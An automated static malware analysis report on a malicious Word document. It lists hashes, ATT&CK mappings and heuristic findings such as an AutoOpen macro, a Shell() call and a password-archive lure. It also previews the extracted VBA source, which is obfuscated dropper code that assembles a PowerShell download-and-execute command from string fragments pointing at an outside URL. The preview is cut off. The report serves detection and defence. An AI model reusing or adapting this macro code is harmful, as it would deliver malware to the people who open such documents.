Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 537d868b5e58efae…

MALICIOUS

Office (OLE)

130.5 KB Created: 2018-02-15 04:50:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: b3c21c9146ca660b84e240028f5eef17 SHA-1: da4bf0cd6eb8f3f8a76f741f8c2c6d2784c5f184 SHA-256: 537d868b5e58efae956b3fa98db1b0eb6d84307a7cf974cc0dd47a7dba40e05b
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen function that utilizes the Shell() command, a common technique for executing arbitrary commands. The macro appears to be obfuscated, but the presence of the Shell() call and the heuristic firings strongly suggest it's designed to download and execute a secondary payload. The document also contains a heuristic indicating a password-protected archive lure, often used to bypass gateway security.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6449166-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6449166-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://wHOL+HOL In document text (OLE body)
    • http://cleHOL+HOLandiejrfNhwjizE�In document text (OLE body)
    • http://@pixelw�In document text (OLE body)
    • http://cleHOL+HOLandiejrfNhwjizEIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 24324 bytes
SHA-256: f92f4aa2bff7143ac0bc3baca6cf63223804f5b2902ef7afe642cb9373af6d6d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "DmOpwdwifwc"
Function LwrWoGtpqLS()
On Error Resume Next
FRqOjBassE = (MRQWYDlSAiDiaT - Int(ZiCuwBA) * FwBVjfmpLJrY / Oct(NPTanRlpYWjV) - (tOvIb - Sin(9242324)))
vuAmavU = (cKYWhCm - Int(trYjvbM) * iTKjPzh / Oct(VzhmXuCivM) - (CrztlfX - Sin(9275826)))
wowNjczjtCw = (wzaahzMpRMw - Int(dwBiUAqwoq) * iQJWlaYEsDAd / Oct(ZHEXiNQiQ) - (YvwLRijzsHK - Sin(8461500)))
FtNAfiuDG = (lYbFHpRSszDZ) + HJjkJKD("W+'trinG][ChaR]34'+').RES0I+S0IPlACE(HOLG1tHOL,[strinGrYw+rYw][C'+'hrYw+rYwaR]39).REP'+'lACE(HOLUgdHOL,HOLZeqHOrYw+rYwL) )rYw) -XDtNYjYjBsTlQEsiNzzVzGIsMjkrPjXkFz", 2, 127)
zWfwMIH = (QaZERhlb - Int(PHZLFHVNhzjv) * zYaNIv / Oct(SCDjOhShFa) - (mAlwkirUWz - Sin(3005630)))
ipBfKCff = (QOXIbBdEZp - Int(WNEqzXpnHGVuuW) * nrVoY / Oct(DanUqZqjbV) - (wBOlj - Sin(8526109)))
DuOAnL = (whJHUuUdmbNmi - Int(QUTmQWGwwHjl) * zsHOHzcr / Oct(VvGszNnPTpnSj) - (vzQWmwiBbjb - Sin(4536291)))
ozjzjnzzR = (ZdSdINv) + HJjkJKD("dI)').rEpLACe('n0T',[STRing][cHAr]36).rEpLACe('S0I',[STRing][cHAr]39).rEpLACe('9KKViwDUzrYHSdhoKa", 2, 80)
WjSSKzB = (JUUWQbdICMCjZ - Int(iYSszt) * zNklbGYTzPJR / Oct(PiDJGuPDjbnQbK) - (nwwivGJGjl - Sin(7968828)))
wKmVkO = (EoEztPZrE - Int(JlEikSmz) * AwwjBQfW / Oct(GYUXRZKObiuBB) - (YSmNZQVr - Sin(3885076)))
mBXjD = (QoYIHDjOsjlj - Int(lUiTV) * HDTzdXNODFFXO / Oct(iHcAC) - (YwjIUh - Sin(8473967)))
fuqrTld = (LjoqzARLLPrdp) + HJjkJKD("VNTnwhLnjthHMcREpLace ([cHAr]56+[cHAr]87+'+'[cHAr]121),[cHAr]3S0I+S0I6  -cREpLacerYwHOLS0I+S0IrYw,[cHAr]39  -REpLaCE  rYwZeq'+'rYw,[cHAr]96)PMfiNvokE-EXPRessIOnrFKONlZH", 14, 147)
XOtPIRhBHLo = (QOSIWKiwfv - Int(LKIXOrz) * mFRMiV / Oct(VLLPAWAQj) - (hDLmKzFwcRzi - Sin(7305569)))
LzsjjZ = (lRUFZz - Int(knzoT) * PvqKucljnoXb / Oct(MOGEar) - (DiiCurhjz - Sin(3263888)))
LmKcKC = (wrOpClG - Int(BAawd) * dSmndiZzuhlNoQ / Oct(vBjWb) - (krXMVwWpY - Sin(5476545)))
jBDWXFpirj = (pvktpcImJWcRis) + HJjkJKD("PztdWkrztfjrYwGT'+'kasfc.Hh4ToHOL+HOLSYNKWWfBRBoNZGIqHGaQN", 12, 27)
zROuCwvHXIW = (bPaIkCHVFFIiz - Int(AEPnoXnLTX) * HVjZlDChY / Oct(fWLwlubbwjNrWF) - (boOAEPvCjcjYv - Sin(3856840)))
QSoMWnSM = (GBajV - Int(EpCdMkVrLQw) * fJPohTikTc / Oct(EVfHwZMQq) - (LXzLWsfZLYM - Sin(6490045)))
zvRTAsPw = (PKmRTHwlPcTwH - Int(dZRwzItUmQd) * bDKHEJW / Oct(QwKIsJrwvu) - (MPLBztZMYAu - Sin(4574666)))
VmJJjcpt = (DowqAGwrcCX) + HJjkJKD("hCFDmfpcoWRL+HOLUgdlHOL+HOLeHhHOL+HOL4HO'+'L+HlpqtpmVTiiUG", 12, 35)
nzDaMmIoIpw = (vPBLOizz - Int(VYoUjcwXnW) * ljvVkkTV / Oct(FVjlXN) - (uPttNdFv - Sin(1454419)))
NqJFiHOfF = (pWOUXlUQfM - Int(jadLbpVA) * DwWLCItdHHiAN / Oct(uzHnhj) - (UsBwNoP - Sin(6595120)))
jlLcj = (ojvOYtzCSPsr - Int(XiUSRi) * UCnQhiD / Oct(OoTduVTuF) - (lBzEUSrTMUTcvX - Sin(6353191)))
ZuzSRHlBquC = (QjPJFqRvZrk) + HJjkJKD("JSLhttp://HOL+H'+'OLrHOL+rYw+rYwHOLeHOL'+'+HOLalHOL+HOL-HOL+HOLeHOL+HOLxHOL+H'+'OLpert.infHOL+HOLoHOL+HvzMiCzYRtALUthmCoWZdjpJFoFvsuK", 4, 100)
QduXXRwoz = (VZOVjBmtvwa - Int(izaRv) * SQqWcWZ / Oct(fNbrzDAD) - (FSUGcBkzRW - Sin(6549555)))
IlqYFznC = (noBkUwzrw - Int(swTWYREwWEiZVz) * GpPFWLzrtr / Oct(ZGfFALbIa) - (nGcTvUzdr - Sin(2810040)))
vGztRiQb = (CJOIjlbl - Int(FZiArzRRDTzMZ) * Tinmb / Oct(ANCdFXwQwRaAX) - (RNccbwDiaYR - Sin(1315695)))
TaQfv = (dvOwnEnPTfhQQ) + HJjkJKD("TtdvzuqwA (G1t.exrYw+rYwG1t+G1teHOL+H'+'S0I+S0IOLG1t);foreach('+'GTkarYw+rYwsrYw+rY'+'wfc in GTkAHrYw+rYwOL+HOLrYw+rYwDCH'+'OL+HOLX)HOL+HOL{HS0I+S0IOLrYw+rYw+HDSWYzqRn", 10, 150)
YHTHcjE = (oqlFGLLcnSndMw - Int(qVWUbAcqZqbhH) * CNnfUSmVpTlnXH / Oct(EtpvZKfwR) - (wLALPfdE - Sin(5799242)))
UuKzhoawk = (EzwrjIUfCjoc - Int(RVzllhoWP) * NXGmJaoHi / Oct(WUEuzPRpzvicU) - (iqRtsWqOpdkUa - Sin(4213499)))
FtRDb = (EOcFiww - Int(CoWQwWTn) * DPDTIuOMDIia / Oct(dovdvh) - (XlsmaP - Sin(1007535)))
ZnVIJ = (uUAAUms) + HJjkJKD("tMEfisVlribDwIWY'+'OL+HOL1t+G1tHOL+HOLwHOL+HrYw+rYwS0I+S0IOdFmROvSiiRinXaBOiSUBXPJ", 
... (truncated)

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